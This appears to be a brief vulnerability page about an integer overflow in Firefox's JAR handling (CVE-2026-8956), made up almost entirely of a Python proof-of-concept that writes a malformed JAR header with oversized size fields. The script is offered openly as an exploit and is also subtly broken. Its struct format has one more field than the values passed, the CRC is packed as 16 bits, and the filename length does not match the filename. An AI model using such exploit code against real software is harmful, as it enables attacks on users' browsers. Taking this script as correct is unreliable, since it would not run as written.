CVE-2026-8956 Firefox JAR组件整数溢出漏洞

import struct # Proof of Concept for CVE-2026-8956 # This script generates a malformed JAR file header to trigger the integer overflow. def generate_malicious_jar(): # JAR files are essentially ZIP files. # We simulate a Local File Header with a manipulated compressed size. # If the parser adds a constant to this size without checking overflow, # it may wrap around to a small positive number. signature = 0x04034b50 # Local file header signature version_needed = 20 flags = 0 compression_method = 0 # Store # Malicious size value intended to cause overflow during calculation # E.g., if logic is 'size + header_len', this might wrap around 32-bit int malicious_size = 0xFFFFFFF0 filename_len = 10 extra_len = 0 header = struct.pack('<IHHHHHHIIIHH', signature, version_needed, flags, compression_method, 0, # mod time 0, # mod date 0, # crc32 malicious_size, # compressed size malicious_size, # uncompressed size filename_len, extra_len) filename = b'test.txt' payload = header + filename with open('exploit.jar', 'wb') as f: f.write(payload) # Fill rest with dummy data to match size if necessary f.write(b'A' * 100) print("Malformed JAR file generated: exploit.jar") if __name__ == "__main__": generate_malicious_jar()